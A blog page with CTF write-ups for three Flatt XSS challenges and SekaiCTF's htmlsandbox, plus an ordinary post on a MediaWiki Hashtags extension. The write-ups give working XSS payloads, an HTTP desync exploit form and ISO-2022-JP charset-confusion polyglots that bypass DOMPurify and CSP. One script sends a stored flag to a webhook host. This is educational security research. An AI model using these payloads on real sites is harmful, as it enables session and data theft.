Bawolff's rants

Sunday, December 1, 2024

Writeup for the flatt XSS challenge

This November, the company Flatt put out three XSS challenges - https://challenge-xss.quiz.flatt.training/ ( source code at https://github.com/flatt-jp/flatt-xss-challenges )

These were quite challenging and I had a good time solving them. The code for all of my solutions is at http://bawolff.net/flatt-xss-challenge.htm. Here is how I solved them.

Challenge 1 (hamayan)

This was in my opinion, the easiest challenge.

The setup is as follows - We can submit a message. On the server side we have:

const sanitized = DOMPurify.sanitize(message);
res.view("/index.ejs", { sanitized: sanitized });
with the following template:

As you can see, the message is sanitized and then used in two places - in normal HTML but also inside a <textarea>.

The <textarea> tag is not a normal HTML tag. It has a "text" content model. This means that HTML inside it is not interpreted and the normal HTML rules don't apply

Consider the following HTML as our message: <div title="</textarea><img src=x onerror=alert(origin)>">

In a normal html context, this is fairly innocous. It is a div with a title attribute. The title attribute looks like html, but it is just a title attribute.

However, if we put it inside a <textarea>, it gets interpreted totally differently. There are no elements inside a textarea, so there are no attribtues. The </textarea> thus closes the textarea tag instead of being a harmless attribute:

Thus, once the textarea tag gets closed, the <img> tag is free to execute.

https://challenge-hamayan.quiz.flatt.training/?message=%3Cdiv%20title=%22%3C/textarea%3E%3Cimg%20src=x%20onerror=alert(origin)%3E%22%3E

Challenge 2 (Ryotak)

This challenge was probably the hardest for me.

The client-side setup

We have a website. You can enter some HTML and save it. Once saved, you are given an id number in the url, the HTML is fetched from the server, it is sanitized and then set to the innerHTML of a div.

The client-side sanitization is as follows:

If that wasn't bad enough, there is also server-side sanitization, which I'll get to in a bit.

Client side bypass

This looks pretty bad. It disallows all attributes. It disallows <script> which you more or less need to anything interesting if you don't have event attributes. It disallows <math> and <svg> which most mXSS attacks rely on.

However there is a mistake:

        for (const attribute of currentNode.attributes) {
              currentNode.removeAttribute(attribute.name);
        }

Which should be:

        for (const attribute of Array.from(currentNode.attributes)) {
              currentNode.removeAttribute(attribute.name);
        }

The attributes property is a NamedNodeMap. This is a live class that is connected to the DOM. This means that if you remove the first attribute, it is instantly deleted from this list, with the second attribute becoming the first, and so on.

This is problematic if you modifythe attributes while iterating through them in a loop. If you remove an attribute in the first iteration, the second attribute then becomes the first. The next iteration then goes to the current second attribute (previously the third). As a result, what was originally the second attribute gets skipped.

In essence, the code only removes odd attributes. Thus <video/x/onloadstart=alert(origin)><source> will have only the x removed, and continue to trigger the XSS.

For reasons that will be explained later, it is important that our exploit does not have any whitespace in it. An alternative exploit might be <img/x/src/y/onerror=alert(origin)>

The server-side part

That's all well and good, but the really tricky part of this challenge is the server side part.

        elif path == "/api/drafts":
            draft_id = query.get('id', [''])[0]
            if draft_id in drafts:
                escaped = html.escape(drafts[draft_id])
                self.send_response(200)
                self.send_data(self.content_type_text, bytes(escaped, 'utf-8'))
            else:
                self.send_response(200)
                self.send_data(self.content_type_text, b'')
        else:
            self.send_response(404)
            self.send_data(self.content_type_text, bytes('Path %s not found' % self.path, 'utf-8'))

As you can see, the server side component HTML-escapes its input.

This looks pretty impossible. How can you have XSS without < or >?

My first thought was maybe something to do with charset shenanigans. However this turned out to be impossible since everything is explicitly labelled UTF-8 and the injected HTML is injected via innerHTML so takes the current document's charset.

I also noticed that we could put arbitrary text into the 404 error page. The error page is served as text/plain, so it would not normally be exploitable. However, the JS that loads the html snippet uses fetch() without checking the returned content type. I thought perhaps there would be some way to make it fetch the wrong page and use the 404 result as the html snippet.

My first thought was maybe there is a different in path handling between python urllib and WHATWG URL spec. There is in fact lots of differences, but none that seemed exploitable. There was also no way to inject a <base> tag or anything like that. Last of all, the fetch url starts with a /, so its always going to be relative just to the host and not the current path.

I was stuck here for quite a long time.

Eventually I looked at the rest of the script. There are some odd things about it. First of all, it is using python's BaseHTTPRequestHandler as the HTTP server. The docs for that say in giant letters: "Warning: http.server is not recommended for production. It only implements basic security checks.". Sounds promising.

I also couldn't help but notice that this challenge was unique compared to the others - it was the only one hosted on an IP address with just plain HTTP/1.1 and no TLS. The other two were under the .quiz.flatt.training domain, HTTP/2 and presumably behind some sort of load balancer.

All signs pointed to something being up with the HTTP implementation.

Poking around the BaseHTTPRequestHandler, I found the following in a code comment: "IT IS IMPORTANT TO ADHERE TO THE PROTOCOL FOR WRITING!". All caps, must be important.

Lets take another look at the challenge script. Here is the POST handler:

    def do_POST(self):
        content_length = int(self.headers.get('Content-Length'))
        if content_length > 100:
            self.send_response(413)
            self.send_data(self.content_type_text, b'Post is too large')
            return
        body = self.rfile.read(content_length)
        draft_id = str(uuid4())
        drafts[draft_id] = body.decode('utf-8')
        self.send_response(200)
        self.send_data(self.content_type_text, bytes(draft_id, 'utf-8'))

    def send_data(self, content_type, body):
        self.send_header('Content-Type', content_type)
        self.send_header('Connection', 'keep-alive')
        self.send_header('Content-Length', len(body))
        self.end_headers()
        self.wfile.write(body)

Admittedly, it took me several days to see this, but there is an HTTP protocol violation here.

The BaseHTTPRequestHandler class supports HTTP Keep-alive. This means that connections can be reused after the request is finished. This improves performance by not having to repeat a bunch of handshake steps for every request. The way this works is if the web server is willing to keep listening for more requests on a connection, it will set the Connection: Keep-Alive header. The challenge script always does this.

The problem happens during the case where a POST request has too large a body. The challenge script will return a 413 error if the POST request is too large. This is all fine and good. 413 is the correct error for such a situation. However it immediately returns after this, not reading the POST body at all, leaving it still in the connection buffer. Since the Connection: Keep-alive header is set, the python HTTP server class thinks the connection can be reused, and waits for more data. Since there is still data left in the connection buffer, it gets that data immediately, incorrectly assuming it is the start of a new request. (This type of issue is often called "client-side desync")

What the challenge script should do here is read Connection-Length number of bytes and discard them, removing them from the connection buffer, before handing the connection off to the base class to wait for the next request. Alternatively, it could set Connection: Close header, to signal that the connection can no longer be reused (This wouldn't be enough in and of itself, but the python base class looks for this). By responding without looking at the POST body, the challenge script desynchronizes the HTTP connection. The server thinks we are waiting on the next request, but the web browser is still in the middle of sending the current request.

To summarize, this means that if we send a large POST request, the web server will treat it as two separate requests instead of a single request.

We can use this to poision the connection. We send something that will be treated as two requests. When the browser sends its next request, the web server responds with part two of our first request, thus causing the web browser to think the answer to its second request is the answer to part two of of the first request.

The steps of our attack would be as follows:

Open a window to http://34.171.202.118/?draft_id=4ee2f502-e792-49ae-9d15-21d7fffbeb63 (The specific draft_id doesn't matter as long as its consistent). This will ensure that the page is in cache, as we don't want it to be fetched in the middle of our attack. Note that this page is sent with a Cache-Control: max-age=3600 header, while most other requests do not have this header.
Make a long POST request that has a POST body that looks something like GET <video/x/onloadstart=alert(origin)><source> HTTP/1.1\r\nhost:f\r\n;x-junk1: PADDING.. (This is why our payload cannot have whitespace, it would break the HTTP request which is whitespace delimited)
Navigate to http://34.171.202.118/?draft_id=4ee2f502-e792-49ae-9d15-21d7fffbeb63. Because we preloaded this and it is cachable, it should already be in cache. The web browser will load it from disk not the network. The javascript on this page will fetch the document with that doc_id in the url via fetch(). This response does not have a caching header, so the web browser makes a new request on the network. Since half of the previous POST is still in the connection buffer, the webserver responds to that request instead of the one the browser just made. The result is a 404 page containing our payload. The web browser sees that response, and incorrectly assumes it is for the request it just made via fetch(). It is sent with a text/plain content type and 404 status code but the javascript does not care.

The only tricky part left is how to send a POST with such fine-grained control over the body.

HTML forms have a little known feature where they can be set to send in text/plain mode. This works perfect for us. Thus we have a form like:

<form method="POST" target="ryotak" enctype="text/plain" action="http://34.171.202.118/" id="ryotakform">
<input type="hidden"
name="GET <video/x/onloadstart=alert(origin)><source> HTTP/1.1
host:f
x-junk1: aaaaaaaaaaaaaaaaaaaaaa..." value="aa">
</form>

The rest of the exploit looks like:

    window.open( 'http://34.171.202.118/?draft_id=4ee2f502-e792-49ae-9d15-21d7fffbeb63', 'ryotak' );
   setTimeout( function () {
        document.getElementById( 'ryotakform' ).submit();
        setTimeout( function () {
            window.open( 'http://34.171.202.118/?draft_id=4ee2f502-e792-49ae-9d15-21d7fffbeb63', 'ryotak' );
        }, 500 );
   }, 5000 );

The timeouts are to ensure that the web browser had enough time to load the page before going to the next step.

You can try it out at http://bawolff.net/flatt-xss-challenge.htm

Challenge 3 (kinugawa)

Note: My solution works on Chrome but not Firefox.

The Setup

[...]

      const sanitizedHtml = DOMPurify.sanitize(html, { ALLOWED_ATTR: [], ALLOW_ARIA_ATTR: false, ALLOW_DATA_ATTR: false });
      const blob = new Blob([sanitizedHtml], { "type": "text/html" });
      const blobURL = URL.createObjectURL(blob);
      input.value = sanitizedHtml;
      window.open(blobURL, "iframe");

We are given a page which takes some HTML, puts it through DOMPurify, turns it into a blob url then navigates an iframe to that blob.

Additionally there is a CSP policy limiting which scripts we can run.

The solution

The CSP policy is the easiest part. cdnjs.cloudflare.com is on the allow list which contains many js packages which are unsafe to use with CSP. We can use libraries like angular to bypass this restriction.

For the rest - we're obviously not going to find a 0-day in DOMPurify. If I did, I certainly would have lead the blog post with that.

However, since blob urls are separate documents, that means that they are parsed as a fresh HTML document. This includes charset detection (Since the mime type of the Blob is set to just text/html not text/html; charset=UTF-8). DOMPurify on the other hand is going to assume that the input byte stream does not need any character set related conversions.

So in principle, what we need to do here is create a polygot document. A document that is safe without any charset conversions applied, but becomes dangerous when interpreted under a non-standard character set. Additionally we then need to get the blob url interpreted as that character set.

There are a small number of character sets interpreted by web browsers. There used to be quite a lot of dangerous ones to chose from such as UTF-7 or hz. However most of these got removed and the only remaining charset that is easy to make dangerous is ISO-2022-JP.

The reason that ISO-2022-JP is so useful in exploits is that it is modal. It is actually 4 character sets in one, with a special code to change between them. If you write "^[$B" it switches to Japanese mode. "^[(B" on the other hand switches to ASCII mode. (^[ refers to ASCII character 0x1B, the escape character. You might also see it written as \x1B, %1B, ESC or \e). If we are already in the mode that the escape sequence switches to, then the character sequence does nothing and it is removed from the byte stream.

This means that <^[(B/style> will close a style tag when the document is in ISO-2022-JP mode, but is considered non-sense in UTF-8 mode.

Thus we might have a payload that looks like the following: (Remembering that ^[ stands for ascii ESC):

<^[(Bscript src='https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.2/prototype.js'><^[(B/script>

<^[(Bscript src='https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.1/angular.js'>

<^[(B/script>

<^[(Bdiv ng-app ng-csp>

<^[(B/div>

</style>

DOMPurify won't see <^[(B/style> as a closing style tag and thinks the whole thing is the body of the style tag. To prevent mXSS, DOMPurify won't allow things that look like html tags (a "<" followed by a letter) inside <style> tags, so those are also broken up with ^[(B. A browser interpreting this as ISO-2022-JP would simply not see the "^[(B" sequences and treat it as normal HTML.

Now all we need to do is to convince the web browser that this page should be considered ISO-2022-JP.

The easiest way of doing that would be with a <meta charset="ISO-2022-JP"> tag. Unfortunately DOMPurify does not allow meta tags through. Even if it did, this challenge configures DOMPurify to ban all attributes. (We can't use the ^[(B trick here, because it only works after the document is already in ISO-2022-JP mode).

Normally we could use detection heuristics. In most browsers, if a document does not have a charset in its content type nor a meta tag, the web browser just makes a guess based on its textual content of the beginning of the document. If the browser sees a bunch of ^[ characters used in a way that would be valid in ISO-2022-JP and no characters that would be invalid in that encoding (such as multibyte UTF-8 characters), it knows that this document is likely ISO-2022-JP, so guesses that as the charset of the document.

However this detection method is used as a method of last resort. In the case of an iframe document (which does not have a better method such as charset in the mime type or meta tag), the browser will use the parent windows charset, instead of guessing based on document contents.

Since this parent document uses UTF-8, this stops us.

However, what if we didn't use an iframe?

The challenge navigates the iframe by using its name. What if there was another window with the same name? Could we get that window to be navigated instead of the iframe?

If we use window.open() to open the challenge in a window named "iframe", then the challenge would navigate itself instead of the iframe. The blob is now a top-level navigation, so cannot take its charset from the parent window. Instead the browser has no choice but to look at the document contents as a heuristic, which we can control.

The end result is something along the lines of:

window.open( 'https://challenge-kinugawa.quiz.flatt.training/?html=' +

encodeURIComponent( "<div>Some random Japanese text to trigger the heuristic: \x1b$B%D%t%#%C%+%&$NM5J!$J2HDm$K@8$^$l!\"%i%$%W%D%#%RBg3X$NK!2J$K?J$`$b!\"%T%\"%K%9%H$r$a$6$7$F%U%j!<%I%j%R!&%t%#!<%/$K;U;v$9$k!#$7$+$7!\";X$N8N>c$K$h$j%T%\"%K%9%H$rCGG0!\":n6J2H$H$J$k!#%t%#!<%/$NL<$G%T%\"%K%9%H$N%/%i%i$H$NNx0&$H7k:'$O%7%e!<%^%s$NAO:n3hF0$KB?Bg$J1F6A$r5Z$\$7$?!#\x1b(Bend <style><\x1b(B/style><\x1b(Bscript src='https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.2/prototype.js'><\x1b(B/script><\x1b(Bscript src='https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.1/angular.js'><\x1b(B/script><\x1b(Bdiv ng-app ng-csp>{{$on.curry.call().alert($on.curry.call().origin)}}<\x1b(B/div></style>begin\x1b$B%sE*8e\x1b(Bend</div>" ),

"iframe" );

Try it at http://bawolff.net/flatt-xss-challenge.htm

Conclusion

These were some great challenges. The last two especially took me a long time to solve.

Tuesday, October 1, 2024

Hashtags and implementing extensions in MediaWiki by modifying services

Recently I decided to make a Hashtags extension for MediaWiki.

The idea is - if you add something like #foo to your edit summary, that becomes a link in RecentChanges/history/etc, which you can click on to view other edits so tagged.

I implemented this using MediaWiki's newish services framework. This was the first time I used this as an extension mechanism, so I thought I'd write a blog post on my thoughts.

Why Hashtags

The main idea is that users can self-group their edits if they are participating in some sort of campaign. There are already users doing this and external tools to gather statistics about it. For example Wikimedia hashtag search so there seems to be user demand.

MediaWiki also has a feature called "change tags". This allows edits to be tagged in certain ways and searched. Normally this is done automatically by software such as AbuseFilter. It is actually possible for users to tag their own edits, provided that tag is on an approved list. They just have to add a secret url parameter (?wpChangeTags) or edit by following a link with the appropriate url parameter. As you can imagine, this is not easily discoverable.

I've always been excited about the possibility of hashtags. I like the idea that it is a user-determined taxonomy (so-called folksonomy). You don't have to wait for some powerful gate-keeper to approve your tag. You can just be bold, and organize things in whatever way is useful. You don't have to discover some secret parameter. You can just see that other people write a specific something in their edit summaries and follow suite.

This feels much more in line with the wiki-way. You can be bold. You can learn by copying.

The extension essentially joins both methods together, by automatically adding change tags based on the contents of the edit summary.

Admittedly, the probability of my extension being installed on Wikipedia is probably pretty low. Realistically i am not even trying for that. But one can dream.

For more information about using the extension see https://www.mediawiki.org/wiki/Extension:Hashtags

How the extension works

There are a couple things the extension needs to do:

When an edit (or log entry) is saved, look at the edit summary, add appropriate tags based on that edit summary
If an edit summary is revision deleted or oversighted, remove the tags
Make sure hashtag related change tags are marked as "active" and "hidden".
When viewing a list of edits (history, Special:RecentChanges, etc), ensure that hashtags are linked and that clicking on them shows only edits tagged with that tag

The first three parts work like a traditional extension, using normal hooks.

I used the RevisionFromEditCompleteHook and ManualLogEntryBeforePublishHook to run a callback anytime an edit or log entry is saved. Originally I used RecentChange_saveHook, however that didn't cover some cases where an edit was created but not published to RecentChanges, such as during page moves. ManualLogEntryBeforePublishHook covers more cases than it might appear at first glance, because it will also tag the revision associated with the log entry. All this is pretty straightforward, and allowed tagging most cases. Restricted (confidential) logs still do not get tagged. It seems difficult to do so with the hooks MediaWiki provides, but perhaps its best not to tag such log entries, lest information is leaked.

Similarly, I used the ArticleRevisionVisibilitySetHook to delete/undelete tags after revdel. Unfortunately MediaWiki does not provide a similar hook for log entries. I proposed adding one, but that is still pending code review.

Marking tags as active was also quite straightforward using normal hooks.

All that leaves is ensuring hashtags are linked. For this I leveraged MediaWiki's newish dependency injection system.

Services and dependency injection

For the last few years, MediaWiki has been in the progress of being re-architectured, with the goal to make it more modular, easier to test, and easier to understand. A core part of that effort has been to move to a dependency injection system.

If you are familiar with MediaWiki's dependency injection system, you might want to skip past this part.

Traditionally in MediaWiki, if some code needed to call some other code from a different class, it might look like this:

class MyClass {

function foo($bar) {

$someObject = Whatever::singleton();

$result = $someObject->doSomething( $bar );

return $result;

}

In this code, when functionality of a different class is needed, you either get it via global state, call some static method or create a new instance. This often results in classes that are coupled together.

In the new system we are supposed to use, the code would look like this:

class MyClass {

private SomeObject $someObject;

public function __construct( SomeObject $someObject ) {

$this->someObject = $someObject;

}

public function foo( $bar ) {

return $this->someObject->doSomething( $bar );

}

The idea being, classes are not supposed to directly reference one another. They can reference the interfaces of objects that are passed to it (typically in the constructor), but they are not concretely referencing anything else in the system. Your class is always given the things it needs; it never gets them for itself. In the old system, the code was always referencing the Whatever class. In the new system, the code references whatever object was passed to the constructor. In a test you can easily replace that with a different object, if you wanted to test what happens when the Whatever class returns something unexpected. Similarly, if you want to reuse the code, but in a slightly different context, you can just change the constructor args for it to reference a different class as long as it implements the required interface.

This can make unit testing a lot easier, as you can isolate just the code you want to test, without worrying about the whole system. It can also make it quite easy to extend code. Imagine you have some front-end class that references a back-end class that deals with storing things in the database. If you suddenly need to use multiple storage backends, you can just substitute the implementation of the backend class, without having to implement anything special.

MediaWikiServices

All this is great, but at some point you actually need to do stuff and create some classes that have concrete implementations.

The way this works in "new" MediaWiki, is the MediaWikiServices class. This is responsible for keeping track of "services" which are essentially the top level classes.

Services are classes that:

Have a lifetime of the entire request.
Normally only have one instance existing at a time.
Do not depend on global state (Config is not considered state, but anything about the request, like what page is being currently viewed is state. Generally these services should not depend on RequestContext)

You can register services, in a service wiring file. This also allows you to register what services your service needs as constructor arguments.

Some classes do not fit these requirement. For example, a class that represents some data we would expect to have multiple instances with shorter lifetimes, to represent the data in question. Generally the approach for such classes is to create a Factory class that is a service, which makes individual instances and passing along dependencies as appropriate.

But still the question remains, how do you get these services initially. There is an escape hatch, where you can call MediaWikiServices::getInstance()->getService( $foo ), however that is strongly discouraged. This essentially uses global state, which defeats the point of dependency injection, where the goal is that your class is passed everything it needs, but never reaches out and gets anything itself.

The preferred solution is that the top level entrypoint classes in your extension are specified in your extension's extension.json file.

Typically extensions work on the levels of hooks. This is where you register a class, which has some methods that are called when certain events in MediaWiki happen. You register these hook handlers in your extension's manifest (extension.json) file.

In old mediawiki, you would just register the name of some static methods. In new MediaWiki, you register a class (HookHandlers), along with details of what services its constructor needs. MediaWiki then initiates this class for you with appropriate instances of all it dependencies, thus handling all the bootstrapping for you.

To summarize, you tell MediaWiki you need certain services for your hook class. When the hook class is instantiated, it is constructed with the default version of the services you need (Possibly including services you defined yourselves). Those services are in turn instantiated with whatever services they need, and so on.

All this means you can write classes that never reach out to other classes, but instead are always provided with the other classes they need.

What does this have to do with Hashtags?

All this is not generally meant as an extension mechanism. The goal is to make it so classes are isolated from each other for easier testing, modification and understanding.

However, the services bootstrap process does have an idea of default services, which it provides when creating objects that have dependencies. The entire point is to be able to easily replace services with different services that implement the same interface. Sure it is primarily meant as a means of better abstraction and testability, but why not use it for extensibility? In this extension, I used this mechanism to allow extending some core functionality with my own implementation.

One of those services is called CommentParserFactory. This is responsible for parsing edit summaries (Technically, it is responsible for creating the CommentParser objects that do so). This is exactly what we need if we want to change how links are displayed in edit summaries.

In the old system of MediaWiki, we would have no hope in making this extension. In the old days, to format an edit summary, you called Linker::formatComment(). This was a static method of Linker. There would be no hope of modifying it, unless someone explicitly made a hook just for that purpose.

Here we can simply tell MediaWiki to replace the default instance of CommentParserFactory with our own. We do this by implementing the MediaWikiServicesHook. This allows us to dynamically change the default instantiation of services.

There are two ways of doing this. You can either call $services->redefineService() which allows you to create a new version of the Service from scratch. The alternative is to call $services->addServiceManipulator(). This passes you the existing version of the service, which you can change, call methods on, or return an entirely different object.

Hashtags uses the latter method. I essentially implemented it by wrapping the existing CommentParser. I wanted to just replace hashtags with links, but continue to use MediaWiki core for all the other parsing.

Using Services as an extension mechanism

How did this go?

On the bright side, i was able to make this extension, which i otherwise would not have been able to. It indeed works.

Additionally, I feel like simply replacing a class and implementing its interface, is a much cleaner abstraction layer for extensibility than simply executing a callback at random points in the code that can do anything.

There are some frustrations though with using this approach.

First of all, everything is type hinted with the concrete class. This meant i had to extend the concrete class in order for all the type hints to work even though I didn't really need or want to inherit any methods. Perhaps it would be nice to have some trait that automatically adds all the forwarding magic with __get().

I also intentionally did not call the parent constructor, which i guess is fine because i never call any of the parent's methods, however it does feel a bit odd. The way i implemented my class was to take in the constructor an instance of the "base" class that i forward calls to after wrapping them in my own stuff. Part of the reason for this is I wanted to use the old CommentParser object, because constructor functions in MediaWiki are highly unstable between versions, so I didn't want to have to manually construct anything from MW core.

The part where this really falls down is if you want to have multiple extensions layering things. This really only works if they both do so in the same way.

At one point in my extension, I wanted to access the list of tags parsed. In retrospect, perhaps this would have been better implemented as having a separate service alias that is explicitly for my class. Instead, i implemented it by adding an additional method to return this data and just relied on the normal service name. But i ran into the problem of i can't be sure nobody else redefined this service, so how do i know that the service i got is the one i created with this method? I just tested using instaceof, and if not tried to wrap the returned service again in my class. This has the benefit of if anyone else modifies the CommentParser service in a layered way, I will hopefully run their code and the list of tags will match the result. On the other hand its icky, so maybe the better method was the aforementioned having a separate service alias explicitly for my class. However again, that has the problem of how to bootstrap, since I didn't want to ever have to instantiate the base CommentParser class, with MediaWiki's highly unstable constructors.

This whole part seemed icky, and the various options seemed bad. In practice it maybe doesn't matter as its unlikely two extensions will wrap this service, but it seems like there should be a better way. I guess wrapping the service is fine, its extracting additional information that's the problem.

I think documenting best practices on how to "decorate" services would go a long way here to making this better. Right now it is very unclear how to do this in a way that is composable and extensible.

I've also seen examples of people using reflection when trying to "extend" services, but luckily i didn't need to resort to that.

Testability

The last thing I wanted to mention, is i do think this general system has had dividends. The path to get here was a little rocky, but I do think this style of code is much clearer.

I used to absolutely hate writing tests for mediawiki code. It was such a frustrating developer experience. Now it is much less painful. For this extension I have 100% test coverage (excluding maintenance scripts). Admittedly it is a relatively small extension, but five years ago, I couldn't imagine bothering to do that for any MediaWiki code.

Conclusion

I had fun writing this extension and am proud of the result. It was interesting to experiment with using MediaWikiServices as an extension mechanism

Consider trying it out on your wiki, and let me know what you think! The extension should be compatible with MediaWiki 1.39 and higher (Using appropriate REL branch)

More information about it can be found at https://www.mediawiki.org/wiki/Extension:Hashtags

Tuesday, September 3, 2024

SekaiCTF 2024 - htmlsandbox

Last weekend I competed in SekaiCTF. I spent most of the competition focusing on one problem - htmlsandbox. This was quite a challenge. It was the least solved web problem with only 4 solves. However I'm quite happy to say that I got it in the end, just a few hours before the competition ended.

The problem

We are given a website that lets you post near arbitrary HTML. The only restriction is that the following JS functions must evaluate to true:

document.querySelector('head').firstElementChild.outerHTML === `<meta http-equiv="Content-Security-Policy" content="default-src 'none'">`
document.querySelector('script, noscript, frame, iframe, object, embed') === null
And there was a check for a bunch of "on" event attributes. Notably they forgot to include onfocusin in the check, but you don't actually need it for the challenge

This is all evaluated at save time by converting the html to a data: url, passing it to pupeteer chromium with javascript and external requests disabled. If it passes this validation, the html document goes on the web server.

There is also a report bot that you can tell to visit a page of your choosing. Unlike the validation bot, this is a normal chrome instance with javascript enabled. It will also browse over the network instead of from a data: url, which may seem inconsequential but will have implications later. This bot has a "flag" item in its LocalStorage. The goal of the task is to extract this flag value.

The first (CSP) check is really the bulk of the challenge. The other javascript checks can easily be bypassed by either using the forgotten onfocusin event handler or by using <template shadowrootmode="closed"><script>....</script></template> which hides the script tag from document.querySelector().

CSP meta tag

Placing <meta http-equiv="Content-Security-Policy" content="default-src 'none'"> in the <head> of a document disables all scripts in the page (as script-src inherits from default-src)

Normally CSP is specified in an HTTP header. Putting it inside the html document does come with some caveats:

It must be in the <head>. If its in the <body> it is ignored.
It does not apply to <script> tags (or anything else) in the document present prior to the <meta> tag

So my first initial thought was that maybe we could somehow get a <script> tag in before the meta tag. The challenge checks that the meta tag is the first element of <head>, but maybe we could put the <script> before the <head> element.

Turns out, the answer is no. Per the HTML5 spec. If you add some content before the head, it acts like you implicitly closed the <head> tag and started the body tag. No matter how you structure your document, the web browser fixes it up to be reasonable. You cannot put anything other then a comment (and DTDs/PIs) before the <head>.

I also thought about DOM cloberring, but it seemed pretty impossible given that document.querySelector() and === was used.

The other wrong turn I tried was redirecting the document. You can put a <meta http-equiv="refresh" content="0;url=http://example.com"> tag in a document to redirect the page somewhere else. My thought was that if i redirect the page really quickly, maybe the checks would happen on a page I control.

The problem here is that network requests were disabled in puppeteer so I can't just redirect to some site I control. Chrome also disables meta redirection to data: urls (I guess they were a common phishing vector or something) so they are out. I can't use blob: urls as I have no javascript to create a blob url.

Similarly, if instead I try to delay the redirect until after validation has finished, I still have nowhere to redirect too, as I need some page with an XSS on the same origin in order to read the localStorage. Thus client side redirection was out.

Lots of dead ends here.

The hint

Since initially no team had solved the problem for quite a while, the organizers provided a hint.

You may want to look for a parsing differential in streamed and non-streamed HTML parsing.

Alright, off to the HTML5 spec.

Its a big spec, but it seemed like section 13.2 would be the relevant part. After reading that part several times, the following seemed like the only thing the hint could possibly be referring to:

Section 13.2.3.2 Determining the character encoding:

The user agent may wait for more bytes of the resource to be available, either in this step or at any later step in this algorithm. For instance, a user agent might wait 500ms or 1024 bytes, whichever came first. In general preparsing the source to find the encoding improves performance, as it reduces the need to throw away the data structures used when parsing upon finding the encoding information. However, if the user agent delays too long to obtain data to determine the encoding, then the cost of the delay could outweigh any performance improvements from the preparse.

So during the algorithm for determining a character encoding (charset), browsers can choose to only apply it to the first part of the document if all the bytes of the document are not yet available.

More concretely, this means that for a data: url, the character encoding algorithm applies to the whole document as the document is available immediately. For a network load, it does not.

In our challenge, the validation bot loads from a data: url. The report bot loads from network. This seems like something we can exploit.

Charset confusion

I've heard of character set confusion before, but usually in the context of different systems supporting different character sets. For example, where the validator supports UTF-7 which has a non-ascii compatible encoding of <, but web browsers do not support it and interpret the document with an unknown charset as UTF-8.

However this is a bit different, since the web browser and ultimate viewer are the same program - both a web browser, both supporting the exact same charsets.

We need to find two character encodings that interpret the same document different ways - one with the CSP policy and one without, and have both character encodings be supported by modern web browsers.

What character sets can we even possibly specify? First off we can discard any encodings that always encode <, > and " the way ascii would which include all single-byte legacy encodings. Browsers have intentionally removed support for such encodings due to the problems caused by encodings like UTF-7 and HZ. Per the encoding standard, the only ones left are the following legacy multi-byte encodings: big5, EUC-JP, ISO-2022-JP, Shift_JIS, EUR-KR, UTF-16BE, UTF-16LE.

Looking through their definitions in the encoding standard, ISO-2022-JP stands out because it is stateful. In the other encodings, a specific byte might affect the interpretation of the next few bytes, but with ISO-2022-JP, a series of bytes can affect the meaning of the entire rest of the text.

ISO-2022-JP is not really a single encoding, but 3 encodings that can be switched between each other with a special code. When in ascii mode, the encoding looks like normal ascii. But when in "katakana" mode, the same bytes get interpreted as Japanese characters.

This seems ideal for the purposes of creating a polygot document, as we can switch on and off the modes to change the meaning of a wide swath of text.

An Example

Note: throughout this post i will be using ^[ to refer to the ASCII escape character (0x1B). If you want to try these out as data: urls, replace the ^[ with %1B

Consider the following HTML snippet:

<html><head><script>alert('here');</script></head></html>

When using a normal encoding like windows-1252 (aka ISO-8859-1) or UTF-8, the document looks just like you see above, just with the ^[ replaced with an unprintable character.

When viewed under the ISO-2022-JP encoding, it looks like:

<html><head><!-- 暦�⑬昭黹鱸頸鍾跂鶯├蒹鱚З纂�竰蜷�次⑬�--></head></html>

The ^[$BNq sequence changes the charset mode to katakana, ^[(B changes it back to ASCII. Under windows-1252 these escape sequences are ignored, of course. Thus we have made a polygot document that will give an alert box only in windows-1252 mode.

If you want to try yourself:

data:text/html;charset=windows-1252,%3Chtml%3E%3Chead%3E%3C!--%20%1B$BNq%20--%3E%3Cscript%3Ealert('here');%3C/script%3E%3C!--%20%1B(B--%3E%3C/head%3E%3C/html%3E

data:text/html;charset=iso-2022-jp,%3Chtml%3E%3Chead%3E%3C!--%20%1B$BNq%20--%3E%3Cscript%3Ealert('here');%3C/script%3E%3C!--%20%1B(B--%3E%3C/head%3E%3C/html%3E

Note how the body of the url is exactly the same. The only thing that is different is the charset specified in the mime type of the url, which totally changes the interpretation.

Exploiting the detection algorithm

We now have the ability to make HTML that is very different depending on charset, but how do we make sure it is interpreted with different charsets in different contexts?

If we recall from the problem description - the validator loads the page via a data: url, which loads the full page instantly. The victim loads the page over the network.

In the network case, chrome will start parsing immediately and guess the charset before the entire document.

So in theory all we need to do is make the document really long, have the part at the beginning be evil under one charset, add a charset declaration at the end for the other charset which makes the document look good. Browsers loading it all at once will see it as benign, browsers loading it over the network will see it as evil. This might look something like:

<html>
	<head>
    	<!-- é - Add a windows-1252 character to make sure early heurstics detect as windows-1252 -->
        <!-- ^[$BNq From this part onwards it is visible only in windows-1252 mode -->
        <script> doSomeEvilStuff();x = new Image(); x.src='https://mywebhook?' + encodeURIComponent(localStorage['flag']); </script>
        <!-- Bunch of junk. Repeat this 3000 times to split amongst multiple packets -->
        <!-- ^[(B After this point, visible in both modes -->
        <meta http-equiv="Content-Security-Policy" content="default-src 'none'">
        <meta charset="iso-2022-jp">
    </head>
<body></body></html>

This should be processed the following way:

As a data: url - The browser sees the <meta charset="iso-2022-jp"> tag, processes the whole document in that charset. That means that the <script> tag is interpreted as an html comment in japanese, so is ignored
Over the network - The browser gets the first few packets. The <meta charset=..> tag has not arrived yet, so it uses a heuristic to try and determine the character encoding. It sees the é in windows-1252 encoding (We can use the same logic for UTF-8, but it seems the challenge transcodes things to windows-1252 as an artifact of naively using atob() function), and makes a guess that the encoding of the document is windows-1252. Later on it sees the <meta> tag, but it is too late at this point as part of the document is already parsed (note: It appears that chrome deviates from the HTML5 spec here. The HTML5 spec says if a late <meta> tag is encountered, the document should be thrown out and reparsed provided that is possible without re-requesting from the network. Chrome seems to just switch charset at the point of getting the meta tag and continue on parsing). The end result is the first part of the document is interpreted as windows-1252, allowing the <script> tag to be executed.

So I tried this locally.

It did not work.

